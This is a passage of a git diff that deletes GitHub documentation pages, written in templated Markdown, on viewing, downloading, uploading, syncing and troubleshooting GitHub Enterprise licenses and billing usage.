reusables.dotcom_billing.cancel-pending-changes-org %} -{% data reusables.dotcom_billing.confirm-cancel-pending-changes %} - -## Further reading - -* [AUTOTITLE](/get-started/learning-about-github/githubs-plans) diff --git a/content/billing/managing-the-plan-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md b/content/billing/managing-the-plan-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md deleted file mode 100644 index 7fab2239947f..000000000000 --- a/content/billing/managing-the-plan-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Viewing the subscription and usage for your enterprise account -intro: 'You can view the current {% ifversion ghec %}subscription, {% endif %}license usage{% ifversion ghec %}, invoices, payment history, and other billing information{% endif %} for {% ifversion ghec %}your enterprise account{% elsif ghes %}{% data variables.location.product_location_enterprise %}{% endif %}.' -permissions: 'Enterprise owners {% ifversion ghec %}and billing managers {% endif %}can access and manage all billing settings for enterprise accounts.' -redirect_from: - - /billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/viewing-the-subscription-and-usage-for-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise-account/viewing-the-subscription-and-usage-for-your-enterprise-account - - /articles/viewing-the-subscription-and-usage-for-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/viewing-the-subscription-and-usage-for-your-enterprise-account -versions: - ghec: '*' - ghes: '*' -topics: - - Enterprise -shortTitle: View subscription & usage ---- - -{% ifversion enhanced-billing-platform %} - -{% data reusables.billing.enhanced-billing-platform-licenses %} - -{% endif %} - -## About billing for enterprise accounts - -You can view an overview of {% ifversion ghec %}your subscription and paid{% elsif ghes %}the license{% endif %} usage for {% ifversion ghec %}your{% elsif ghes %}the{% endif %} enterprise account on {% ifversion ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.location.product_location %}{% endif %}.{% ifversion ghec %} {% data reusables.enterprise.create-an-enterprise-account %} For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/managing-your-enterprise-account/creating-an-enterprise-account).{% endif %} - -For invoiced {% data variables.product.prodname_enterprise %} customers{% ifversion ghes %} who use both {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %}{% endif %}, each invoice includes details about billed services for all products. For example, in addition to your usage for {% data variables.product.prodname_enterprise %}, you may have usage for {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghec %}, {% elsif ghes %}. You may also have usage on {% data variables.product.prodname_dotcom_the_website %}, like {% endif %}paid licenses in organizations outside of your enterprise account, data packs for {% data variables.large_files.product_name_long %}, or subscriptions to apps in {% data variables.product.prodname_marketplace %}. For more information about invoices, see [Managing invoices for your enterprise]({% ifversion ghes %}/enterprise-cloud@latest{% endif %}/billing/managing-the-plan-for-your-github-account/managing-invoices-for-your-enterprise){% ifversion ghec %}.{% elsif ghes %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% endif %} - -{% ifversion ghec %} - -In addition to enterprise owners, billing managers can view the subscription and usage for your enterprise account. For more information, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#billing-manager) and [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise). - -{% data reusables.enterprise-accounts.billing-azure-subscription-enterprise-only %} For more information, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/connecting-an-azure-subscription). - -{% endif %} - -{% ifversion ghes %} - -If you want to view an overview of your subscription and usage for {% data variables.product.prodname_enterprise %} and any related services on {% data variables.product.prodname_dotcom_the_website %}, see [AUTOTITLE](/enterprise-cloud@latest/billing/managing-the-plan-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account) in the {% data variables.product.prodname_ghe_cloud %} documentation. - -{% endif %} - -{% ifversion metered-ghe-ghas %} - -{% data reusables.billing.usage-based-billing %} - -{% endif %} - -## Viewing the subscription and usage for your enterprise account - -You can view the subscription and usage for your enterprise and download a file with license details. - -{% data reusables.billing.license-statuses %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.license-tab %} -1. Under "User licenses", view your total licenses, number of consumed licenses, and your subscription expiration date. -1. Optionally, to view details for license usage or download a {% ifversion ghec %}CSV{% elsif ghes %}JSON{% endif %} file with license details{% ifversion ghec %}, to the right of "User Licenses"{% endif %}, click **View {% ifversion ghec %}details{% elsif ghes %}users{% endif %}** or {% ifversion ghec %}**{% octicon "download" aria-hidden="true" %} CSV report**{% elsif ghes %}**Export license usage**{% endif %}. -{%- ifversion ghec %} -1. Optionally, to view usage details for other features, in the left sidebar, click **Billing**. -{% endif %} diff --git a/content/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise.md b/content/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise.md deleted file mode 100644 index 356c0c56232d..000000000000 --- a/content/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise.md +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: About licenses for GitHub Enterprise -intro: '{% ifversion ghec %}If you deploy {% data variables.product.prodname_ghe_server %} in addition to using {% data variables.product.prodname_ghe_cloud %}, you{% else %}You{% endif %} can synchronize your license usage between{% ifversion ghes %} {% data variables.product.prodname_enterprise %}{% endif %} deployments, and use a license file to unlock each {% data variables.product.prodname_ghe_server %} instance.' -versions: - ghec: '*' - ghes: '*' -type: overview -topics: - - Enterprise - - Licensing -shortTitle: About licenses ---- - -{% ifversion metered-ghe-ghas %} - -{% data reusables.billing.usage-based-billing %} - -{% endif %} - -## About licensing for {% data variables.product.prodname_enterprise %} - -{% data reusables.enterprise.about-deployment-methods %} - -{% data reusables.enterprise-licensing.unique-user-licensing-model %} To understand how {% data variables.product.company_short %} bills you for consumed {% ifversion enterprise-licensing-language %}licenses{% else %}licensed seats{% endif %}, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/about-per-user-pricing). For more about the price of {% data variables.product.prodname_enterprise %} licenses, see [Pricing](https://github.com/pricing) on the {% data variables.product.prodname_dotcom %} website. - -To ensure the same user isn't consuming more than one license for multiple enterprise deployments, you can synchronize license usage between your {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %} deployments. - -{% ifversion ghes %} - -{% data reusables.billing.license-type-overview %} -{% data reusables.billing.license-models %} - -{% endif %} - -In order to use a {% data variables.product.prodname_ghe_server %} instance, you must upload a license file that {% data variables.product.company_short %} provides when you purchase, renew, or add user licenses to {% data variables.product.prodname_enterprise %}. - -{% data variables.product.prodname_ghe_cloud %} customers can use Azure DevOps without additional per user charges. Access is available to customers using Microsoft Entra and users logging in with the same credentials in {% data variables.product.github %} and Azure DevOps. - -There is no action required; {% data variables.product.prodname_enterprise %} users will be detected automatically when they log in to Azure DevOps. See [User and permissions management](https://learn.microsoft.com/en-us/azure/devops/organizations/accounts/faq-user-and-permissions-management?view=azure-devops#github-enterprise) in the Microsoft Learn documentation. - -Access is not yet available in [new data residency regions](https://github.blog/engineering/engineering-principles/github-enterprise-cloud-with-data-residency/) but will be coming in the future. - -## About synchronization of license usage for {% data variables.product.prodname_enterprise %} - -{% data reusables.enterprise-licensing.about-license-sync %} For more information, see [AUTOTITLE](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud). - -## About license files for {% data variables.product.prodname_enterprise %} - -When you purchase or renew {% data variables.product.prodname_enterprise %}, {% data variables.product.company_short %} provides a license file {% ifversion ghec %}for your deployments of {% data variables.product.prodname_ghe_server %}{% elsif ghes %}for {% data variables.location.product_location_enterprise %}{% endif %}. A license file has an expiration date and controls the number of people who can use {% data variables.location.product_location_enterprise %}. After you download and install {% data variables.product.prodname_ghe_server %}, you must upload the license file to unlock the application for you to use. - -For more information about downloading your license file, see [AUTOTITLE](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise). - -For more information about uploading your license file, see {% ifversion ghec %}[AUTOTITLE](/enterprise-server@latest/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server) in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}[AUTOTITLE](/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server).{% endif %} - -If your license expires, you won't be able to access {% data variables.product.prodname_ghe_server %} via a web browser or Git. If needed, you will be able to use command-line utilities to back up all your data. For more information, see {% ifversion ghec %}[Configuring backups on your appliance]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/guides/installation/configuring-backups-on-your-appliance) in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}[AUTOTITLE](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance).{% endif %} - -If you have any questions about renewing your license, contact {% data variables.contact.contact_enterprise_sales %}. - -## Further reading - -* [AUTOTITLE](/billing/managing-your-github-billing-settings/about-billing-for-your-enterprise) -* The [People that consume a license](/billing/managing-the-plan-for-your-github-account/about-per-user-pricing#people-that-consume-a-license) section in "About per-user pricing" -* [Setting up a {% data variables.product.prodname_ghe_server %} instance]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/installation/setting-up-a-github-enterprise-server-instance) -* The [{% data variables.product.prodname_enterprise %} Releases](https://enterprise.github.com/releases/) website diff --git a/content/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise.md b/content/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise.md deleted file mode 100644 index 18ab206a0854..000000000000 --- a/content/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Downloading your license for GitHub Enterprise -intro: 'You can download a copy of your license file for {% data variables.product.prodname_ghe_server %}.' -permissions: 'Enterprise owners can download license files for {% data variables.product.prodname_ghe_server %}.' -versions: - ghec: '*' - ghes: '*' -type: how_to -topics: - - Enterprise - - Licensing -shortTitle: Download your license ---- - -{% ifversion metered-ghe-ghas %} - -{% data reusables.billing.usage-based-billing %} - -{% endif %} - -## About license files for {% data variables.product.prodname_enterprise %} - -After you purchase or upgrade a license for {% data variables.product.prodname_enterprise %} from {% data variables.contact.contact_enterprise_sales %}, you must download your new license file. For more information about licenses for {% data variables.product.prodname_enterprise %}, see [AUTOTITLE](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise). - -{% data reusables.enterprise-licensing.contact-sales-for-renewals-or-seats %} - -## Downloading your license file - -There are two possible ways to download a license file for {% data variables.product.prodname_ghe_server %}. - -1. If you are using a trial of {% data variables.product.prodname_ghe_server %}, if you do not have an enterprise account on {% data variables.product.prodname_ghe_cloud %}, or if you are not sure, you may be able to download your license file from the [{% data variables.product.prodname_enterprise %} website](https://enterprise.github.com/download). - -1. If you are an existing {% data variables.product.prodname_enterprise %} customer with an enterprise account on {% data variables.product.prodname_ghe_cloud %}, you can download your license file from {% data variables.product.prodname_dotcom_the_website %} or {% data variables.enterprise.data_residency_site %} using the following instructions. - -If you have any questions about downloading your license, contact {% data variables.contact.contact_enterprise_sales %}. For more information about enterprise accounts, see [AUTOTITLE](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion ghes %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% elsif ghec %}.{% endif %} - -{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.license-tab %} -1. Under "Enterprise Server licenses", next to the license you want to download, click **{% octicon "download" aria-hidden="true" %} Download**. - -After you download your license file, you can upload the file to {% data variables.location.product_location_enterprise %} to validate your application. For more information, see {% ifversion ghec %}[AUTOTITLE](/enterprise-server@latest/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server) in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}[AUTOTITLE](/enterprise-server@latest/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server).{% endif %} diff --git a/content/billing/managing-your-license-for-github-enterprise/index.md b/content/billing/managing-your-license-for-github-enterprise/index.md deleted file mode 100644 index 285ec0e602ee..000000000000 --- a/content/billing/managing-your-license-for-github-enterprise/index.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Managing your license for GitHub Enterprise -shortTitle: GitHub Enterprise license -intro: '{% data variables.product.prodname_enterprise %} includes both cloud and self-hosted deployment options. If you host a {% data variables.product.prodname_ghe_server %} instance, you must unlock the instance with a license file. You can view, manage, and update the license file.' -redirect_from: - - /free-pro-team@latest/billing/managing-your-license-for-github-enterprise - - /enterprise/admin/installation/managing-your-github-enterprise-license - - /enterprise/admin/categories/licenses - - /enterprise/admin/articles/license-files - - /enterprise/admin/installation/about-license-files - - /enterprise/admin/articles/downloading-your-license - - /enterprise/admin/installation/downloading-your-license - - /enterprise/admin/articles/upgrading-your-license - - /enterprise/admin/installation/updating-your-license - - /enterprise/admin/installation/managing-your-github-enterprise-server-license - - /enterprise/admin/overview/managing-your-github-enterprise-license -versions: - ghec: '*' - ghes: '*' -children: - - /about-licenses-for-github-enterprise - - /downloading-your-license-for-github-enterprise - - /uploading-a-new-license-to-github-enterprise-server - - /viewing-license-usage-for-github-enterprise - - /syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud - - /troubleshooting-license-usage-for-github-enterprise ---- - diff --git a/content/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud.md b/content/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud.md deleted file mode 100644 index 5da190bf1fd4..000000000000 --- a/content/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud.md +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Syncing license usage between GitHub Enterprise Server and GitHub Enterprise Cloud -intro: 'You can sync license usage from {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_ghe_cloud %} to view all license usage across your enterprise in one place and ensure that people with accounts in both environments only consume one user license.' -permissions: 'Enterprise owners can sync license usage between enterprise accounts on {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}.' -versions: - ghec: '*' - ghes: '*' -type: how_to -topics: - - Enterprise - - Licensing -shortTitle: Sync license usage ---- - -## About synchronization of license usage - -{% data reusables.enterprise-licensing.unique-user-licensing-model %} - -{% data reusables.enterprise-licensing.about-license-sync %} - -To ensure that you see up-to-date license details on {% data variables.product.prodname_ghe_cloud %}, you can sync license usage to {% data variables.product.prodname_dotcom_the_website %}{% ifversion ghecom-license-sync %} or {% data variables.enterprise.data_residency_site %}{% endif %} automatically, using {% data variables.product.prodname_github_connect %}. For more information about {% data variables.product.prodname_github_connect %}, see [About {% data variables.product.prodname_github_connect %}]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/configuration/configuring-github-connect/about-github-connect){% ifversion ghec %} in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}.{% endif %} - -If you don't want to enable {% data variables.product.prodname_github_connect %}, you can manually sync license usage by uploading a file from {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_dotcom_the_website %}. - -When you synchronize license usage, only the user ID and email addresses for each user account on {% data variables.product.prodname_ghe_server %} are transmitted to {% data variables.product.prodname_ghe_cloud %}. - -{% data reusables.enterprise-licensing.view-consumed-licenses %} - -{% data reusables.enterprise-licensing.verified-domains-license-sync %} - -## Automatically syncing license usage - -You can use {% data variables.product.prodname_github_connect %} to automatically synchronize user license count and usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %} weekly. For more information, see [Enabling automatic user license sync for your enterprise]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/configuration/configuring-github-connect/enabling-automatic-user-license-sync-for-your-enterprise){% ifversion ghec %} in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}.{% endif %} - -After you enable {% data variables.product.prodname_github_connect %}, license data will be automatically synchronized weekly. You can also manually synchronize your license data at any time, by triggering a license sync job. - -### Triggering a license sync job - -1. Sign in to your {% data variables.product.prodname_ghe_server %} instance. -{% data reusables.enterprise-accounts.access-enterprise-ghes %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.license-tab %} -1. Under "License sync", click **{% octicon "sync" aria-hidden="true" %} Sync now**. - -## Manually uploading GitHub Enterprise Server license usage - -You can download a JSON file from {% data variables.product.prodname_ghe_server %} and upload the file to {% data variables.product.prodname_ghe_cloud %} to manually sync user license usage between the two deployments. - -1. Sign in to your {% data variables.product.prodname_ghe_server %} instance. -{% data reusables.enterprise-accounts.access-enterprise-ghes %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.license-tab %} -1. In the "User licenses" section, under "Quick links", to download a file containing your current license usage on {% data variables.product.prodname_ghe_server %}, click **Export license usage**. - - ![Screenshot of the "User licenses" section of the "License" page. A link, labeled "Export license usage", is outlined in dark orange.](/assets/images/enterprise/management-console/export-license-usage-link.png) -{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.license-tab %} -1. Next to "Enterprise Server instances", click **Add server usage**. -1. Upload the JSON file you downloaded from {% data variables.product.prodname_ghe_server %}. diff --git a/content/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise.md b/content/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise.md deleted file mode 100644 index 47ff8445750d..000000000000 --- a/content/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise.md +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: Troubleshooting license usage for GitHub Enterprise -intro: You can troubleshoot license usage for your enterprise by auditing license reports. -permissions: 'Enterprise owners can review license usage for {% data variables.product.prodname_enterprise %}.' -versions: - ghec: '*' - ghes: '*' -type: how_to -topics: - - Enterprise - - Licensing -shortTitle: Troubleshoot license usage ---- - -## About unexpected license usage - -If the number of consumed licenses for your enterprise is unexpected, you can review your consumed license report to audit your license usage across all your enterprise deployments and subscriptions. For more information, see [AUTOTITLE](/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise) and [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account). - -If you find errors, you can try troubleshooting steps. - -For privacy reasons, enterprise owners cannot directly access the details of user accounts unless you use {% data variables.product.prodname_emus %}. - -## About the calculation of consumed licenses - -> [!NOTE] -> For {% data variables.visual_studio.prodname_vs_subscriber %}s, see [AUTOTITLE](/enterprise-cloud@latest/billing/managing-billing-for-your-products/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise). - -A person consumes a license for {% data variables.product.prodname_enterprise %} depending on specific criteria. If a user has not yet accepted an invitation to join your enterprise, the user still consumes a license. For more information about the people in your enterprise who consume a license, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/about-per-user-pricing). - -For each user to consume a single {% ifversion enterprise-licensing-language %}license{% else %}seat{% endif %} regardless of how many deployments they use, you must synchronize license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}. For more information, see [AUTOTITLE](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud). - -After you synchronize license usage, {% data variables.product.prodname_dotcom %} matches user accounts on {% data variables.product.prodname_ghe_server %} with user accounts on {% data variables.product.prodname_ghe_cloud %} by email address. - -First, we check the primary email address of each user on {% data variables.product.prodname_ghe_server %}. Then, we attempt to match that address with the email address for a user account on {% data variables.product.prodname_ghe_cloud %}. If your enterprise on {% data variables.product.prodname_ghe_cloud %} or any of the enterprise's organizations use SAML authentication or SCIM provisioning, we first check the linked SAML or SCIM identities to see if the identity contains one of the attributes below. We attempt to match the values of these attributes to the primary email address of each {% data variables.product.prodname_ghe_server %} user. - -* `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name` -* `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress` -* `username` -* `NameID` -* `emails` - -If there is no match, or if SAML authentication or SCIM provisioning is not in use, we attempt to match the primary email address on {% data variables.product.prodname_ghe_server %} with a verified email address for a user account on {% data variables.product.prodname_ghe_cloud %}. For more information about verification of email addresses on {% data variables.product.prodname_ghe_cloud %}, see [AUTOTITLE](/enterprise-cloud@latest/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address){% ifversion not ghec %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %} - -## Fields in the consumed license files - -The {% data variables.product.prodname_ghe_cloud %} license usage report and {% data variables.product.prodname_ghe_server %} exported license usage file include a variety of fields to help you troubleshoot license usage for your enterprise. - -### {% data variables.product.prodname_ghe_cloud %} license usage report (CSV file) - -The license usage report for your enterprise is a CSV file that contains the following information about members of your enterprise. Some fields are specific to your {% data variables.product.prodname_ghe_cloud %} (GHEC) deployment, {% data variables.product.prodname_ghe_server %} (GHES) connected environments, or your {% data variables.product.prodname_vs %} subscriptions (VSS) with GitHub Enterprise. - -| Field | Description -| ----- | ----------- -| github_com_login | The username for the user's GHEC account -| github_com_name | The display name for the user's GHEC account -| github_com_profile | The URL for the user's profile page on GHEC -| github_com_user | Whether or not the user has an account on GHEC | -| github_com_member_roles | For each of the organizations the user belongs to on GHEC, the organization name and the user's role in that organization (`Owner` or `Member`) separated by a colon<br><br>Organizations delimited by commas | -| github_com_enterprise_role | Can be one of: `Owner`, `Member`, `Outside collaborator` (for an enterprise with personal accounts on {% data variables.product.prodname_dotcom_the_website %}), or `Repository collaborator` (for an enterprise that uses {% data variables.enterprise.prodname_managed_users %}) -| github_com_verified_domain_emails | All email addresses associated with the user's GHEC account that match your enterprise's verified domains | -| github_com_saml_name_id | The SAML username | -| github_com_orgs_with_pending_invites | All pending invitations for the user's GHEC account to join organizations within your enterprise | -| {% ifversion ghas-in-license-sync %} | -| github_com_advanced_security_license_user | Whether or not the user consumes a {% data variables.product.prodname_GH_advanced_security %} license on GHEC | -| {% endif %} | -| license_type | Can be one of: `Visual Studio subscription` or `Enterprise` -| enterprise_server_user| Whether or not the user has at least one account on GHES | -| enterprise_server_primary_emails | The primary email addresses associated with each of the user's GHES accounts | -| enterprise_server_user_ids | For each of the user's GHES accounts, the account's user ID -| {% ifversion ghas-in-license-sync %} | -| enterprise_server_advanced_security_user_ids | The GHES instances where the user is using {% data variables.product.prodname_GH_advanced_security %} {% ifversion ghec %}(only present if you are using GHES version 3.12 or later, and have enabled license sync){% endif %} | -| {% endif %} | -| total_user_accounts | The total number of accounts the person has across both GHEC and GHES -| visual_studio_subscription_user | Whether or not the user is a {% data variables.visual_studio.prodname_vs_subscriber %} | -| visual_studio_subscription_email | The email address associated with the user's VSS | -| visual_studio_license_status | Whether the Visual Studio license has been matched to a {% data variables.product.company_short %} user | - -### {% data variables.product.prodname_ghe_server %} exported license usage (JSON file) - -Your {% data variables.product.prodname_ghe_server %} license usage is a JSON file that is typically used when performing a manual sync of user licenses between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %} deployments. The file contains the following information specific to your {% data variables.product.prodname_ghe_server %} environment. - -| Field | Description -| ----- | ----------- -| Features | The {% data variables.product.prodname_github_connect %} features that are enabled on your {% data variables.product.prodname_ghe_server %} instance, and the date and time of enablement. -| Host name | The hostname of your {% data variables.product.prodname_ghe_server %} instance. -| HTTP only | Whether Transport Layer Security (TLS) is enabled and configured on your {% data variables.product.prodname_ghe_server %} instance. Can be one of: `True` or `False`. -| License | A hash of your {% data variables.product.prodname_ghe_server %} license. -| Public key | The public key portion of your {% data variables.product.prodname_ghe_server %} license. -| Server ID | UUID generated for your {% data variables.product.prodname_ghe_server %} instance. -| Version | The version of your {% data variables.product.prodname_ghe_server %} instance. - -## Troubleshooting consumed licenses - -To ensure that the each user is only consuming a single {% ifversion enterprise-licensing-language %}license{% else %}seat{% endif %} for different deployments and subscriptions, try the following troubleshooting steps. - -1. To help identify users that are consuming multiple {% ifversion enterprise-licensing-language %}licenses{% else %}seats{% endif %}, if your enterprise uses verified domains for {% data variables.product.prodname_ghe_cloud %}, review the list of enterprise members who do not have an email address from a verified domain associated with their account on {% data variables.product.prodname_ghe_cloud %}. Often, these are the users who erroneously consume more than one {% ifversion enterprise-licensing-language %}license{% else %}licensed seat{% endif %}. For more information, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#viewing-members-without-an-email-address-from-a-verified-domain). - - > [!NOTE] - > To make troubleshooting easier, we recommend using verified domains with your enterprise account on {% data variables.product.prodname_ghe_cloud %}. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise). - -1. After you identify users who are consuming multiple {% ifversion enterprise-licensing-language %}licenses{% else %}seats{% endif %}, make sure that the same email address is associated with all of the user's accounts. For more information about which email addresses must match, see [About the calculation of consumed licenses](#about-the-calculation-of-consumed-licenses). -1. If an email address was recently updated or verified to correct a mismatch, view the timestamp of the last license sync job. If a job hasn't run since the correction was made, manually trigger a new job. For more information, see [AUTOTITLE](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud). - -If you still have questions about your consumed licenses after reviewing the troubleshooting information above, you can contact {% data variables.contact.github_support %} through the {% data variables.contact.contact_enterprise_portal %}. diff --git a/content/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server.md b/content/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server.md deleted file mode 100644 index b0f6c9830df2..000000000000 --- a/content/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server.md +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Uploading a new license to GitHub Enterprise Server -intro: 'You can upload your license file for {% data variables.product.prodname_enterprise %} to {% data variables.location.product_location_enterprise %} to validate your application.' -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Licensing -shortTitle: Upload a new license ---- - -## About license files for {% data variables.product.prodname_enterprise %} - -After you purchase or upgrade a license for {% data variables.product.prodname_enterprise %} from {% data variables.contact.contact_enterprise_sales %}, you must upload the new license file to {% data variables.location.product_location_enterprise %} to unlock your new user licenses. For more information, see [AUTOTITLE](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise) and [AUTOTITLE](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise). - -{% data reusables.enterprise-licensing.contact-sales-for-renewals-or-seats %} - -## Uploading your license from the {% data variables.enterprise.management_console %} - -{% ifversion ghes < 3.13 %} - -> [!WARNING] -> Updating your license causes a small amount of downtime for {% data variables.location.product_location %}. - -{% endif %} - -1. Sign into {% data variables.location.product_location_enterprise %} as a site administrator. -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.license-tab %} -1. In the "User licenses" section, under "Quick links", click **Update license**. - - ![Screenshot of the "User licenses" section of the "License" page. A link, labeled "Update license", is outlined in dark orange.](/assets/images/enterprise/management-console/update-license-link.png) -1. To upload your license, click **License file**, or drag your license file onto **License file**. - - ![Screenshot of the "License" page of the Management Console. A link, labeled "License file", is highlighted with an orange outline.](/assets/images/enterprise/management-console/upload-license.png) -1. Click **Upload**.{% ifversion ghes > 3.12 %} Your license will be updated in the background. The change may take a few minutes before it is visible on your instance.{% endif %} - -{% ifversion ghes > 3.12 %} - -## Uploading your license with the REST API - -You can use the REST API to upload a license to {% data variables.location.product_location %}. See [AUTOTITLE](/rest/enterprise-admin/manage-ghes#upload-an-enterprise-license). - -## Uploading a license with the {% data variables.product.prodname_cli %} - -You can import a license to {% data variables.location.product_location %} using the `gh es` extension of the {% data variables.product.prodname_cli %}. See the [usage instructions](https://github.com/github/gh-es/blob/main/USAGE.md#gh-es-config-import-license) in the `github/gh-es` repository on {% data variables.product.prodname_dotcom_the_website %}. - -For more information about accessing your instance via the extension, see [AUTOTITLE](/admin/administering-your-instance/administering-your-instance-from-the-command-line/administering-your-instance-using-the-github-cli). - -## Uploading a license via SSH - -You can upload and interact with your license from the command line via SSH. See the documentation for the `ghe-license` command in [AUTOTITLE](/admin/administering-your-instance/administering-your-instance-from-the-command-line/command-line-utilities#ghe-license). For more information about accessing your instance via SSH, see [AUTOTITLE](/admin/administering-your-instance/administering-your-instance-from-the-command-line/accessing-the-administrative-shell-ssh). - -{% endif %} diff --git a/content/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise.md b/content/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise.md deleted file mode 100644 index 4b3c6df309db..000000000000 --- a/content/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise.md +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Viewing license usage for GitHub Enterprise -intro: 'You can view license usage for your enterprise on {% ifversion ghec %}{% data variables.product.prodname_ghe_cloud %}{% elsif ghes %}{% data variables.location.product_location %}{% endif %}.' -permissions: 'Enterprise owners{% ifversion ghec %} and billing managers{% endif %}' -versions: - ghec: '*' - ghes: '*' -type: how_to -topics: - - Enterprise - - Licensing -shortTitle: View license usage ---- - -{% ifversion enhanced-billing-platform %} - -{% data reusables.billing.enhanced-billing-platform-licenses %} - -{% endif %} - -## About license usage for {% data variables.product.prodname_enterprise %} - -You can view license usage for {% data variables.product.prodname_enterprise %} on {% data variables.product.github %}. - -If you use both {% data 